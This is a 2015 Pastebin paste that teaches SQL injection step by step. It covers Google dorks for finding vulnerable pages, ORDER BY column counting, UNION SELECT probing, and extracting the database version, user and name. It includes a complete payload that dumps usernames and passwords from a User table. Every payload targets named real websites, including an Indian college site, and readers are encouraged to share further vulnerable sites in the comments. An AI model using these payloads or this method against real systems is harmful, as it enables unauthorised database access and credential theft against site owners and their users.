Advertisement
Kyfx

SQLi Method

Dec 25th, 2015
1,184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.90 KB | None | 0 0
  1. SQLi example:
  2.  
  3. http://hollandbros.net/store.php?id=-31%20union%20select%201%2Cgroup_concat(user_id%2C0x3a%2Cpassword%2C0x0a)%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%20from%20User
  4.  
  5.  
  6.  
  7.  
  8. To get site database User, smile emoticon
  9. Try this too,
  10. @@hostname : Current Hostname
  11. @@tmpdir : Tept Directory
  12. @@datadir : Data Directory
  13. @@version : Version of DB
  14. @@basedir : Base Directory
  15. user() : Current User
  16. database() : Current Database
  17. version() : Version
  18. schema() : current Database
  19. UUID() : System UUID key
  20. current_user() : Current User
  21. current_user : Current User
  22. system_user() : Current System user
  23. session_user() : Session user
  24. @@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
  25. @@GLOBAL.have_ssl : Check if it have ssl or not
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33. Tutorial step 1 we have learn to find the vuln sites
  34. Sql- structured query language
  35. Vuln- vulnerable
  36. to start sql we should find 1st vuln site. In other word to inject a site you need to find a vuln site.
  37. To find vuln site we need to use 'Dork'
  38. which mean searching vuln site from googLe Using dork
  39. some of the dorks are here-
  40. Index.php?id=
  41. Event.php?id=
  42. News.php?id=
  43. This are the some example of dorks there are thousand of dorks to find vuln sites among them this are the some.. Now google this dork and open one site and put this sign after id=something it means
  44. Id=1'
  45. Id=20' don't change value after id=20 this is just an example to see either sites is vuln or not to inject.. So after putting this ' sign you will get sql error if you get sql error then it is vuln and those site which you find vuln comment below.. For 24hour this one step is finish any confuse comment below.. Next step after 24 hour kiss emoticon
  46. Hope you understand it.
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55. #Tutorial‬ about sql part 2 we have learn to find the vuln column linK HERE- 2nd post
  56.  
  57. Time to learn next step of sql injection
  58. ‪#‎recall‬- in previous tutorial we learn to find vuln site yeah? Now we are upgrading the step now finding column of site is our next steP
  59. Vuln site- http://www.skitm.edu.in/faculty.php?id=2' this one is for n00b only kiss emoticon this site have very low security grin emoticon i practise in this site when i was learning sql injection tongue emoticon so here we go in our step grin emoticon
  60. To find column of the vuln site we have to use this query there are many query to find vuln column but because of the basic tut i am using here only: order by method
  61.  
  62. Here is the query: order by
  63. Step- http://www.skitm.edu.in/faculty.php?id=2 order by 10
  64. Error: Unknown column '10' in 'order clause'
  65. Try until when this unknow column doesn't disappear from the screen
  66. Still getting that error yeah so try by putting 9 like this
  67. http://www.skitm.edu.in/faculty.php?id=2 order by 9
  68. Error: Unknown column '9' in 'order clause' still getting error yeah so try and try
  69. http://www.skitm.edu.in/faculty.php?id=2 order by 8
  70. Error: Unknown column '8' in 'order clause' again error tongue emoticon try until it disappear from your screen so keep on decreasing the number
  71. http://www.skitm.edu.in/faculty.php?id=2 order by 7
  72. Error: Unknown column '7' error
  73. http://www.skitm.edu.in/faculty.php?id=2 order by 6
  74. Error: Unknown column 6'
  75. http://www.skitm.edu.in/faculty.php?id=2 order by 5
  76. Error: Unknown column 5'
  77. http://www.skitm.edu.in/faculty.php?id=2 order by 4
  78. Error: Unknown column 4'
  79. http://www.skitm.edu.in/faculty.php?id=2 order by 3
  80. Error: Unknown column 3'
  81. http://www.skitm.edu.in/faculty.php?id=2 order by 2
  82. Error: Unknown column 2'
  83. http://www.skitm.edu.in/faculty.php?id=2 order by 2
  84. No Error in column 2'
  85. It mean this site have 2 column smile emoticon so finally we found column of that site.
  86. It is not mean that in all site there will be 2column in different site different column so don't keep on your mind that only 2 column in all vuln site now here we find column of site. And remember if last error is in 10 of any site then remember there is 9 column same as in next site if got last error in 26 then there is 25 column
  87. Hope you understand this one tutorial
  88.  
  89.  
  90. Tutorial step 3 now we will find vuln site vuln column
  91.  
  92. ‪#‎recall‬- in 1st post we learn to find vuln site?
  93. #recall- in second post we learn to find how many column are there order by methOd
  94. ‪#‎neXt‬ stEp now we will find vuln site vuln column don't be confuse.2 times same method? yeah i am sure you will be confuse but previous one is use to count column of the site to get vuln column and without counting column you can't get vuln column so we need to count column and to get vuln column we need to do "union select" methOd to get vuln colum
  95.  
  96.  
  97. site- we will practise in this site
  98. http://www.skitm.edu.in/faculty.php?id=2
  99. All step wise 1st we learn how to find either it is vuln or not yeah?
  100. Here we use method like this http://www.skitm.edu.in/faculty.php?id=2'
  101. getting sql error yeah? It mean this site is vuln.
  102. ‪#‎2nd‬ post
  103. in second step what we learn? we learn how to find vuln column? Like this http://www.skitm.edu.in/faculty.php?id=2 order by 3
  104. ‪#‎3rd‬ step is that to find vuln column tongue emoticon both are column but to find vuln column result in screen we need order by to get result in screen like shown in screenShOt,
  105. Here we go in step now smile emoticon
  106. 1) do you remember or not while we inject this site we got last error in 3 yeah? It mean here is 2 column now to display how many vuln column are there in screen we have to use following query smile emoticon
  107. http://www.skitm.edu.in/faculty.php?id=-2 union select 1,2--
  108. What i have change in this site?
  109. => after id=parameter i haven't change there anything but i have put there sign '-' while using union select always remember to put that sign before parametEr.. smile emoticon
  110. how we will know that we have to put union select 1,2?
  111. => we have to use 1st order by method after knowing column vuln we have tO use according to vuln column value in union select..
  112. example-
  113. site- http://www.calidus.ro/
  114. vuln site http://www.calidus.ro/en/news.php?id=2
  115. To check the vuln column value in screen you will get some number in screen like 1,2,3 only one digit smile emoticon
  116. Another example
  117. http://www.calidus.ro/en/news.php…
  118. i got last error in 5 so i know now there is vuln in 4 so i use union select 1.2,3,4 and in screen i get vuln is column 2 smile emoticon
  119. ‪#‎remember‬ that when you use order by method and get vuln column according to it's value put it in union select.
  120.  
  121.  
  122. Final:
  123.  
  124.  
  125. Today i am gonna teach you how to find
  126. => version
  127. => user
  128. => database
  129. All step those which we have learn wink emoticon
  130. 1st find site either it is vuln or not
  131. 1st step http://www.skitm.edu.in' => sql erro site is vuln
  132. 2nd step http://www.skitm.edu.in/faculty.php?id=-2 order by 2 using order by to find vuln colum value
  133. 3rd step http://www.skitm.edu.in/faculty.php?id=-2 union select 1,2--
  134. ------all this step have been learn------
  135.  
  136. today new step
  137. step to find version of the following site?
  138. http://www.skitm.edu.in/faculty.php?id=-2+union+select+1%2Cversion%28%29
  139.  
  140. Q) how i do it? confused_rev emoticon
  141. => nothing new i have just put there version instead of putting there value 2
  142. why i put it in 2 only?
  143. => because while using union select 1,2 it display 2 as vuln column so i put it in value 2 to find version smile emoticon
  144. example if in some site if you find there vuln column in 9 then you need to do like this to find version
  145. union select 1,2,3,4,5,6,7,8,version(),10,11,12--
  146. example of site: http://www.calidus.ro/en/news.php?id=-2+union+select+1%2Cversion%28%29%2C3%2C4
  147.  
  148. 2nd step to find user
  149. All method are same just change version() and instead of it put there user()
  150. like this:
  151.  
  152. http://www.skitm.edu.in/faculty.php?id=-2+union+select+1%2Cuser%28%29--
  153.  
  154.  
  155. All step are same so hope i don't have to tell about this and at last to find database
  156. we need to do same step change user into database then you will get result like this
  157.  
  158. http://www.skitm.edu.in/faculty.php?id=-2+union+select+1%2Cdatabase%28%29
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement